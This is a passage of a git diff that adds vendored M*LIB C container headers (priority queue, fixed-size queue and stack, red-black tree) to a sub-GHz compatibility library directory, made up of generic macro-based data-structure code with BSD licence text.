+       if (child >= size) break;                                              \
+       size_t otherChild = M_F(name, _i_rchild)(i);                           \
+       if (otherChild < size                                                  \
+           && M_F(name, _i_cmp)(p, otherChild, child) < 0 ) {                 \
+         child = otherChild;                                                  \
+       }                                                                      \
+       if (M_F(name, _i_cmp)(p, i, child) <= 0) break;                        \
+       M_F(name, _array_swap_at) (p->array, i, child);                        \
+       i = child;                                                             \
+     }                                                                        \
+     return true;                                                             \
+   }                                                                          \
+                                                                              \
+   M_P(void, name, _update, prioqueue_t p, type const xold, type const xnew)  \
+   {                                                                          \
+     /* NOTE: xold can be the same pointer than xnew */                       \
+     /* First pass: search for an item EQUAL to x */                          \
+     size_t size = M_F(name, _array_size)(p->array);                          \
+     size_t i = M_F(name, _i_find)(p, xold);                                  \
+     /* We shall have found the item */                                       \
+     M_ASSERT (i < size);                                                     \
+     /* Test if the position of the old data is further or nearer than the new */ \
+     int cmp = M_CALL_CMP(oplist, *M_F(name, _array_cget)(p->array, i), xnew); \
+     /* Set the found item to the new element */                              \
+     M_F(name, _array_set_at) M_R(p->array, i, xnew);                         \
+     if (cmp < 0) {                                                           \
+      /* Move back the updated element to its new position, further in the heap */ \
+      while (true) {                                                          \
+        size_t child = M_F(name, _i_lchild)(i);                               \
+        if (child >= size) break;                                             \
+        size_t otherChild = M_F(name, _i_rchild)(i);                          \
+        if (otherChild < size                                                 \
+            && M_F(name, _i_cmp)(p, otherChild, child) < 0 ) {                \
+          child = otherChild;                                                 \
+        }                                                                     \
+        if (M_F(name, _i_cmp)(p, i, child) <= 0) break;                       \
+        M_F(name, _array_swap_at) (p->array, i, child);                       \
+        i = child;                                                            \
+      }                                                                       \
+     } else {                                                                 \
+      /* Move back the updated element to its new position, nearest in the heap */ \
+      while (i > 0) {                                                         \
+        size_t parent = M_F(name, _i_parent)(i);                              \
+        if (M_F(name, _i_cmp)(p, parent, i) <= 0) break;                      \
+        M_F(name, _array_swap_at) (p->array, i, parent);                      \
+        i = parent;                                                           \
+      }                                                                       \
+     }                                                                        \
+   }                                                                          \
+   , /* No EQUAL */ )                                                         \
+
+/* Define the IT based functions */
+#define M_PR1OQUEUE_DEF_IT(name, type, oplist, prioqueue_t, it_t)             \
+                                                                              \
+  /* Define iterators over the array iterator */                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, prioqueue_t const v)                                \
+  {                                                                           \
+    M_F(name, _array_it)(it, v->array);                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_last)(it_t it, prioqueue_t const v)                           \
+  {                                                                           \
+    M_F(name, _array_it_last)(it, v->array);                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it, prioqueue_t const v)                            \
+  {                                                                           \
+    M_F(name, _array_it_end)(it, v->array);                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it, const it_t org)                                 \
+  {                                                                           \
+    M_F(name, _array_it_set)(it, org);                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    return M_F(name, _array_end_p)(it);                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const it_t it)                                           \
+  {                                                                           \
+    return M_F(name, _array_last_p)(it);                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1,                                      \
+                         const it_t it2)                                      \
+  {                                                                           \
+    return M_F(name, _array_it_equal_p)(it1, it2);                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_F(name, _array_next)(it);                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _previous)(it_t it)                                               \
+  {                                                                           \
+    M_F(name, _array_previous)(it);                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    return M_F(name, _array_cref)(it);                                        \
+  }                                                                           \
+
+/* Define the IO functions */
+#define M_PR1OQUEUE_DEF_IO(name, type, oplist, prioqueue_t, it_t)             \
+  M_IF_METHOD(OUT_STR, oplist)(                                               \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *file, const prioqueue_t p)                        \
+  {                                                                           \
+    M_F(name, _array_out_str)(file, p->array);                                \
+  }                                                                           \
+  ,/* No OUT_STR */)                                                          \
+                                                                              \
+  M_IF_METHOD(IN_STR, oplist)(                                                \
+  M_P(bool, name, _in_str, prioqueue_t p, FILE *file)                         \
+  {                                                                           \
+    return M_F(name, _array_in_str)M_R(p->array, file);                       \
+  }                                                                           \
+  ,/* No IN_STR */)                                                           \
+                                                                              \
+  M_IF_METHOD(GET_STR, oplist)(                                               \
+  M_P(void, name, _get_str, m_string_t str, const prioqueue_t p, bool append) \
+  {                                                                           \
+    M_F(name, _array_get_str)M_R(str, p->array, append);                      \
+  }                                                                           \
+  ,/* No GET_STR */)                                                          \
+                                                                              \
+  M_IF_METHOD(PARSE_STR, oplist)(                                             \
+  M_P(bool, name, _parse_str, prioqueue_t p, const char str[], const char **endp) \
+  {                                                                           \
+    return M_F(name, _array_parse_str)M_R(p->array, str, endp);               \
+  }                                                                           \
+  ,/* No PARSE_STR */)                                                        \
+                                                                              \
+  M_IF_METHOD(OUT_SERIAL, oplist)(                                            \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, const prioqueue_t p) \
+  {                                                                           \
+    return M_F(name, _array_out_serial) M_R(f, p->array);                     \
+  }                                                                           \
+  ,/* No OUT_SERIAL */)                                                       \
+                                                                              \
+  M_IF_METHOD2(IN_SERIAL, INIT, oplist)(                                      \
+  M_P(m_serial_return_code_t, name, _in_serial, prioqueue_t p, m_serial_read_t f) \
+  {                                                                           \
+    return M_F(name, _array_in_serial)M_R(p->array, f);                       \
+  }                                                                           \
+  ,/* No in_SERIAL */)                                                        \
+
+
+// TODO: set all & remove all function
+
+/********************************** INTERNAL *********************************/
+
+#if M_USE_SMALL_NAME
+#define PRIOQUEUE_DEF M_PRIOQUEUE_DEF
+#define PRIOQUEUE_DEF_AS M_PRIOQUEUE_DEF_AS
+#define PRIOQUEUE_OPLIST M_PRIOQUEUE_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-queue.h b/lib/subghz_unleashed_compat/include/mlib/m-queue.h
new file mode 100644
index 000000000..49194c5e7
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-queue.h
@@ -0,0 +1,340 @@
+/*
+ * M*LIB - Fixed size (Bounded) QUEUE & STACK interface (Not Thread safe)
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_QUEUE_H
+#define MSTARLIB_QUEUE_H
+
+#include "m-core.h"
+
+/* Define a fixed size queue.
+   If size is 0, then the size will only be defined at run-time when initializing the queue,
+   otherwise the size will be a compile time constant embedded in the structure.
+   USAGE: QUEUE_DEF(name, type, size_of_QUEUE_or_0[, oplist]) */
+#define M_QUEUE_DEF(name, ... ) M_QUEUE_DEF_AS(name, M_F(name, _t), __VA_ARGS__)
+
+
+/* Define a fixed size queue
+   as the provided type name_t.
+   USAGE: QUEUE_DEF_AS(name, name_t, type, size_of_QUEUE_or_0[, oplist of type]) */
+#define M_QUEUE_DEF_AS(name, name_t, type, ... )                              \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_QUEU3_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                  \
+              ((name, type, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(type)(), name_t, 0), \
+               (name, type, __VA_ARGS__,                                 name_t, 0))) \
+  M_END_PROTECTED_CODE
+
+/* Define a fixed size stack.
+   If size is 0, then the size will only be defined at run-time when initializing the stack,
+   otherwise the size will be a compile time constant embedded in the structure.
+   USAGE: STACK_DEF(name, type, size_of_stack_or_0[, oplist]) */
+#define M_STACK_DEF(name, ... ) M_STACK_DEF_AS(name, M_F(name, _t), __VA_ARGS__)
+
+
+/* Define a fixed size stack
+   as the provided type name_t.
+   USAGE: QUEUE_DEF_AS(name, name_t, type, size_of_stack_or_0[, oplist of type]) */
+#define M_STACK_DEF_AS(name, name_t, type, ... )                              \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_QUEU3_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                  \
+              ((name, type, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(type)(), name_t, 1), \
+               (name, type, __VA_ARGS__,                                 name_t, 1))) \
+  M_END_PROTECTED_CODE
+
+/* Define the oplist of a fixed size queue given its name and its oplist.
+   USAGE: QUEUE_OPLIST(name[, oplist of the type]) */
+#define M_QUEUE_OPLIST(...)                                                   \
+  M_QUEU3_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                               \
+                 ((__VA_ARGS__, M_BASIC_OPLIST),                              \
+                  (__VA_ARGS__ )))
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_QUEU3_OPLIST_P1(arg) M_QUEU3_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_QUEU3_OPLIST_P2(name, oplist)                                       \
+  M_IF_OPLIST(oplist)(M_QUEU3_OPLIST_P3, M_QUEU3_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_QUEU3_OPLIST_FAILURE(name, oplist)                                  \
+  ((M_LIB_ERROR(ARGUMENT_OF_BUFFER_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a queue / stack */
+#ifndef M_USE_CONTEXT
+#define M_QUEU3_OPLIST_P3(name, oplist)                                       \
+  (INIT(API_0(M_F(name, _i_init)))                                            \
+  ,INIT_SET(API_0(M_F(name, _init_set)))                                      \
+  ,SET(API_0(M_F(name, _set)))                                                \
+  ,CLEAR(API_0(M_F(name, _clear)))                                            \
+  ,NAME(name)                                                                 \
+  ,TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*)                         \
+  ,SUBTYPE(M_F(name, _subtype_ct))                                            \
+  ,RESET(API_0(M_F(name,_reset)))                                             \
+  ,PUSH(API_0(M_F(name,_push)))                                               \
+  ,POP(API_0(M_F(name,_pop)))                                                 \
+  ,OPLIST(oplist)                                                             \
+  ,EMPTY_P(M_F(name, _empty_p)),                                              \
+  ,FULL_P(M_F(name, _full_p)),                                                \
+  ,GET_SIZE(M_F(name, _size))                                                 \
+  )
+#else
+#define M_QUEU3_OPLIST_P3(name, oplist)                                       \
+  (INIT(API_0P(M_F(name, _i_init)))                                           \
+  ,INIT_SET(API_0P(M_F(name, _init_set)))                                     \
+  ,SET(API_0P(M_F(name, _set)))                                               \
+  ,CLEAR(API_0P(M_F(name, _clear)))                                           \
+  ,NAME(name)                                                                 \
+  ,TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*)                         \
+  ,SUBTYPE(M_F(name, _subtype_ct))                                            \
+  ,RESET(API_0P(M_F(name,_reset)))                                            \
+  ,PUSH(API_0P(M_F(name,_push)))                                              \
+  ,POP(API_0P(M_F(name,_pop)))                                                \
+  ,OPLIST(oplist)                                                             \
+  ,EMPTY_P(M_F(name, _empty_p)),                                              \
+  ,FULL_P(M_F(name, _full_p)),                                                \
+  ,GET_SIZE(M_F(name, _size))                                                 \
+  )
+#endif
+   
+/* Test if the size is only run-time or build time */
+#define M_QUEU3_IF_CTE_SIZE(m_size)  M_IF(M_BOOL(m_size))
+
+/* Return the size (run time or build time).
+   NOTE: It assumed that the queue variable name is 'v' */
+#define M_QUEU3_SIZE(v, m_size)                                               \
+  ((size_t)M_QUEU3_IF_CTE_SIZE(m_size) (m_size, v->capacity))
+
+/* Contract of a queue. */
+#define M_QUEU3_CONTRACT(queue, size)        do {                             \
+    M_ASSERT (queue != NULL);                                                 \
+    M_ASSERT (queue->data != NULL);                                           \
+  }while (0)
+
+/* Deferred evaluation for the definition,
+   so that all arguments are evaluated before further expansion */
+#define M_QUEU3_DEF_P1(arg) M_ID( M_QUEU3_DEF_P2 arg )
+
+/* Validate the value oplist before going further */
+#define M_QUEU3_DEF_P2(name, type, m_size, oplist, queue_t, stack_mode)       \
+  M_IF_OPLIST(oplist)(M_QUEU3_DEF_P3, M_QUEU3_DEF_FAILURE)(name, type, m_size, oplist, queue_t, stack_mode)
+
+/* Stop processing with a compilation failure */
+#define M_QUEU3_DEF_FAILURE(name, type, m_size, oplist, queue_t, stack_mode)  \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(M_QUEUE_DEF/M_STACK_DEF): the given argument is not a valid oplist: " M_AS_STR(oplist))
+
+/* Define the queue type using mutex lock and its functions.
+  - name: main prefix of the container
+  - type: type of an element of the queue
+  - m_size: constant to 0 if variable runtime size, or else the fixed size of the queue
+  - oplist: the oplist of the type of an element of the queue
+  - queue_t: name of the queue
+  */
+#define M_QUEU3_DEF_P3(name, type, m_size, oplist, queue_t, stack_mode)       \
+  M_QUEU3_DEF_TYPE(name, type, m_size, oplist, queue_t)                       \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_QUEU3_DEF_CORE(name, type, m_size, oplist, queue_t, stack_mode)           \
+  M_EMPLACE_QUEUE_DEF(name, queue_t, _emplace, oplist, M_EMPLACE_QUEUE_GENE)
+
+/* Define the type of a queue */
+#define M_QUEU3_DEF_TYPE(name, type, m_size, oplist, queue_t)                 \
+                                                                              \
+  typedef struct M_F(name, _s) {                                              \
+    unsigned    idx_prod;     /* Index of the production threads  */          \
+    M_QUEU3_IF_CTE_SIZE(m_size)( ,unsigned capacity;) /* Capacity of the queue */ \
+    unsigned  idx_cons;     /* Index of the consumption threads */            \
+    unsigned  number;    /* Number of elements in the queue */                \
+    /* If fixed size, array of elements, otherwise pointer to element */      \
+    type  M_QUEU3_IF_CTE_SIZE(m_size)(data[m_size], *data);                   \
+  } queue_t[1];                                                               \
+                                                                              \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+  /* Internal types used by the oplist */                                     \
+  typedef type M_F(name, _subtype_ct);                                        \
+  typedef queue_t M_F(name, _ct);                                             \
+
+/* Define the core functionalities of a queue */
+#define M_QUEU3_DEF_CORE(name, type, m_size, oplist, queue_t, stack_mode)     \
+                                                                              \
+M_P(void, name, _init, queue_t v, size_t size)                                \
+{                                                                             \
+  M_ASSERT(size <= UINT_MAX);                                                 \
+  M_UNUSED_CONTEXT();                                                         \
+  M_QUEU3_IF_CTE_SIZE(m_size)(M_ASSERT(size == m_size), v->capacity = (unsigned) size); \
+  v->idx_prod = v->idx_cons = v->number = 0;                                  \
+                                                                              \
+  M_QUEU3_IF_CTE_SIZE(m_size)( /* Statically allocated */ ,                   \
+    v->data = M_CALL_REALLOC(oplist, type, NULL, 0, M_QUEU3_SIZE(v, m_size)); \
+    if (M_UNLIKELY_NOMEM (v->data == NULL)) {                                 \
+      M_MEMORY_FULL (type, M_QUEU3_SIZE(v, m_size));                          \
+    }                                                                         \
+  )                                                                           \
+  for(size_t i = 0; i < size; i++) {                                          \
+    M_CALL_INIT(oplist, v->data[i]);                                          \
+  }                                                                           \
+  M_QUEU3_CONTRACT(v,m_size);                                                 \
+}                                                                             \
+                                                                              \
+M_QUEU3_IF_CTE_SIZE(m_size)(                                                  \
+ M_P(void, name,_i_init, queue_t v)                                           \
+ {                                                                            \
+   M_F(name, _init)M_R(v, m_size);                                            \
+ }                                                                            \
+ , )                                                                          \
+                                                                              \
+ M_P(void, name, _i_clear_obj, queue_t v)                                     \
+ {                                                                            \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+   M_UNUSED_CONTEXT();                                                        \
+   for(size_t i = 0; i < M_QUEU3_SIZE(v, m_size); i++) {                      \
+     M_CALL_CLEAR(oplist, v->data[i]);                                        \
+   }                                                                          \
+   v->idx_prod = v->idx_cons = v->number = 0;                                 \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+ }                                                                            \
+                                                                              \
+ M_P(void, name, _clear, queue_t v)                                           \
+ {                                                                            \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+   M_UNUSED_CONTEXT();                                                        \
+   M_F(name,_i_clear_obj)M_R(v);                                              \
+   M_QUEU3_IF_CTE_SIZE(m_size)( ,                                             \
+     M_CALL_FREE(oplist, type, v->data, M_QUEU3_SIZE(v, m_size));             \
+     v->data = NULL;                                                          \
+   )                                                                          \
+ }                                                                            \
+                                                                              \
+ M_N(void, name, _reset, queue_t v)                                           \
+ {                                                                            \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+   v->idx_prod = v->idx_cons = v->number = 0;                                 \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+ }                                                                            \
+                                                                              \
+ M_P(void, name, _init_set, queue_t dest, const queue_t src)                  \
+ {                                                                            \
+   M_ASSERT (dest != src);                                                    \
+   M_QUEU3_CONTRACT(src,m_size);                                              \
+   M_F(name, _init) M_R(dest, M_QUEU3_SIZE(src, m_size));                     \
+   for(size_t i = 0; i < M_QUEU3_SIZE(src, m_size); i++) {                    \
+     M_CALL_SET(oplist, dest->data[i], src->data[i]);                         \
+   }                                                                          \
+   dest->idx_prod = src->idx_prod;                                            \
+   dest->idx_cons = src->idx_cons;                                            \
+   dest->number   = src->number;                                              \
+   M_QUEU3_CONTRACT(dest, m_size);                                            \
+ }                                                                            \
+                                                                              \
+ M_P(void, name, _set, queue_t dest, const queue_t src)                       \
+ {                                                                            \
+   M_F(name, _clear) M_R(dest);                                               \
+   M_F(name, _init_set) M_R(dest, src);                                       \
+ }                                                                            \
+                                                                              \
+ M_INLINE bool                                                                \
+ M_F(name, _empty_p)(const queue_t v)                                         \
+ {                                                                            \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+   return v->number == 0;                                                     \
+ }                                                                            \
+                                                                              \
+ M_INLINE bool                                                                \
+ M_F(name, _full_p)(const queue_t v)                                          \
+ {                                                                            \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+   return v->number == M_QUEU3_SIZE(v, m_size);                               \
+ }                                                                            \
+                                                                              \
+ M_INLINE size_t                                                              \
+ M_F(name, _size)(const queue_t v)                                            \
+ {                                                                            \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+   return v->number;                                                          \
+ }                                                                            \
+                                                                              \
+ M_P(bool, name, _push, queue_t v, type const data)                           \
+ {                                                                            \
+  M_QUEU3_CONTRACT(v,m_size);                                                 \
+  M_UNUSED_CONTEXT();                                                         \
+  if (M_F(name, _full_p)(v))                                                  \
+    return false;                                                             \
+                                                                              \
+  unsigned idx = v->idx_prod;                                                 \
+  M_CALL_SET(oplist, v->data[idx], data);                                     \
+  idx++;                                                                      \
+  M_IF(stack_mode)(, idx = (idx == M_QUEU3_SIZE(v, m_size)) ? 0 : idx);       \
+  v->idx_prod = idx;                                                          \
+                                                                              \
+  v->number++;                                                                \
+                                                                              \
+  M_QUEU3_CONTRACT(v,m_size);                                                 \
+  return true;                                                                \
+ }                                                                            \
+                                                                              \
+ M_P(bool, name, _pop, type *data, queue_t v)                                 \
+ {                                                                            \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+   M_ASSERT (data != NULL);                                                   \
+   M_UNUSED_CONTEXT();                                                        \
+   if (M_F(name, _empty_p)(v))                                                \
+     return false;                                                            \
+                                                                              \
+   /* POP data from the queue and update INDEX */                             \
+   M_IF(stack_mode)(                                                          \
+    /* STACK queue */                                                         \
+    v->idx_prod --;                                                           \
+    M_CALL_SET(oplist, *data, v->data[v->idx_prod]);                          \
+   ,                                                                          \
+    /* FIFO queue */                                                          \
+    M_CALL_SET(oplist, *data, v->data[v->idx_cons]);                          \
+    v->idx_cons = (v->idx_cons == M_QUEU3_SIZE(v, m_size)-1) ? 0 : (v->idx_cons + 1); \
+   )                                                                          \
+   v->number--;                                                               \
+                                                                              \
+   M_QUEU3_CONTRACT(v,m_size);                                                \
+   return true;                                                               \
+ }                                                                            \
+                                                                              \
+ M_INLINE size_t                                                              \
+ M_F(name, _capacity)(const queue_t v)                                        \
+ {                                                                            \
+   (void) v; /* may be unused */                                              \
+   return M_QUEU3_SIZE(v, m_size);                                            \
+ }                                                                            \
+
+
+#if M_USE_SMALL_NAME
+#define QUEUE_DEF M_QUEUE_DEF
+#define QUEUE_DEF_AS M_QUEUE_DEF_AS
+#define STACK_DEF M_STACK_DEF
+#define STACK_DEF_AS M_STACK_DEF_AS
+#define QUEUE_OPLIST M_QUEUE_OPLIST
+#endif
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-rbtree.h b/lib/subghz_unleashed_compat/include/mlib/m-rbtree.h
new file mode 100644
index 000000000..c5521c774
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-rbtree.h
@@ -0,0 +1,1176 @@
+/*
+ * M*LIB - RED BLACK TREE module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_RBTREE_H
+#define MSTARLIB_RBTREE_H
+
+#include "m-core.h"
+
+/* Define a Red/Black binary tree of a given type.
+   USAGE: RBTREE_DEF(name, type [, oplist_of_the_type]) */
+#define M_RBTREE_DEF(name, ...)                                               \
+  M_RBTREE_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), __VA_ARGS__)
+
+
+/* Define a Red/Black binary tree of a given type
+   as the name name_t and the iterator it_t.
+   USAGE: RBTREE_DEF_AS(name, name_t, it_t, type [, oplist_of_the_type]) */
+#define M_RBTREE_DEF_AS(name, name_t, it_t, ...)                              \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_RBTR33_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                 \
+              ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, M_F(name, _node_ct), it_t ), \
+               (name, __VA_ARGS__,                                        name_t, M_F(name, _node_ct), it_t ))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a rbtree of type.
+   USAGE: RBTREE_OPLIST(name [, oplist_of_the_type]) */
+#define M_RBTREE_OPLIST(...)                                                  \
+  M_RBTR33_OPLIST_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                              \
+                 ((__VA_ARGS__, M_BASIC_OPLIST),                              \
+                  (__VA_ARGS__ )))
+
+
+/*****************************************************************************/
+/********************************** INTERNAL *********************************/
+/*****************************************************************************/
+
+/* Deferred evaluation for the oplist definition,
+   so that all arguments are evaluated before further expansion */
+#define M_RBTR33_OPLIST_P1(arg) M_RBTR33_OPLIST_P2 arg
+
+/* Validation of the given oplist */
+#define M_RBTR33_OPLIST_P2(name, oplist)                                      \
+  M_IF_OPLIST(oplist)(M_RBTR33_OPLIST_P3, M_RBTR33_OPLIST_FAILURE)(name, oplist)
+
+/* Prepare a clean compilation failure */
+#define M_RBTR33_OPLIST_FAILURE(name, oplist)                                 \
+  ((M_LIB_ERROR(ARGUMENT_OF_RBTREE_OPLIST_IS_NOT_AN_OPLIST, name, oplist)))
+
+/* OPLIST definition of a rbtree
+   NOTE: IT_REF is not exported so that the container appears as not modifiable
+   by algorithm.*/
+#ifndef M_USE_CONTEXT
+#define M_RBTR33_OPLIST_P3(name, oplist)                                      \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(M_F(name, _init_set)),                                            \
+   INIT_WITH(API_1(M_INIT_EMPLACE_VAI)),                                      \
+   SET(M_F(name, _set)),                                                      \
+   CLEAR(M_F(name, _clear)),                                                  \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(M_F(name, _move)),                                                    \
+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name),                                                                \
+   TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),                        \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   GET_SIZE(M_F(name, _size)),                                                \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_LAST(M_F(name,_it_last)),                                               \
+   IT_END(M_F(name,_it_end)),                                                 \
+   IT_END_P(M_F(name,_end_p)),                                                \
+   IT_LAST_P(M_F(name,_last_p)),                                              \
+   IT_EQUAL_P(M_F(name,_it_equal_p)),                                         \
+   IT_NEXT(M_F(name,_next)),                                                  \
+   IT_PREVIOUS(M_F(name,_previous)),                                          \
+   IT_CREF(M_F(name,_cref)),                                                  \
+   IT_REMOVE(M_F(name,_remove)),                                              \
+   RESET(M_F(name,_reset)),                                                   \
+   PUSH(M_F(name,_push)),                                                     \
+   GET_MIN(M_F(name,_min)),                                                   \
+   GET_MAX(M_F(name,_max)),                                                   \
+   M_IF_METHOD(GET_STR, oplist)(GET_STR(M_F(name, _get_str)),),               \
+   M_IF_METHOD(PARSE_STR, oplist)(PARSE_STR(M_F(name, _parse_str)),),         \
+   M_IF_METHOD(OUT_STR, oplist)(OUT_STR(M_F(name, _out_str)),),               \
+   M_IF_METHOD(IN_STR, oplist)(IN_STR(M_F(name, _in_str)),),                  \
+   M_IF_METHOD(OUT_SERIAL, oplist)(OUT_SERIAL(M_F(name, _out_serial)),),      \
+   M_IF_METHOD(IN_SERIAL, oplist)(IN_SERIAL(M_F(name, _in_serial)),),         \
+   M_IF_METHOD(EQUAL, oplist)(EQUAL(M_F(name, _equal_p)),),                   \
+   M_IF_METHOD(HASH, oplist)(HASH(M_F(name, _hash)),)                         \
+   )
+#else
+#define M_RBTR33_OPLIST_P3(name, oplist)                                      \
+  (INIT(M_F(name, _init)),                                                    \
+   INIT_SET(API_0P(M_F(name, _init_set))),                                    \
+   INIT_WITH(API_1(M_INIT_EMPLACE_VAI)),                                      \
+   SET(API_0P(M_F(name, _set))),                                              \
+   CLEAR(API_0P(M_F(name, _clear))),                                          \
+   INIT_MOVE(M_F(name, _init_move)),                                          \
+   MOVE(API_0P(M_F(name, _move))),                                            \
+   SWAP(M_F(name, _swap)),                                                    \
+   NAME(name), TYPE(M_F(name,_ct)), GENTYPE(struct M_F(name,_s)*),            \
+   SUBTYPE(M_F(name, _subtype_ct)),                                           \
+   EMPTY_P(M_F(name,_empty_p)),                                               \
+   GET_SIZE(M_F(name, _size)),                                                \
+   IT_TYPE(M_F(name, _it_ct)),                                                \
+   IT_FIRST(M_F(name,_it)),                                                   \
+   IT_SET(M_F(name,_it_set)),                                                 \
+   IT_LAST(M_F(name,_it_last)),                                               \
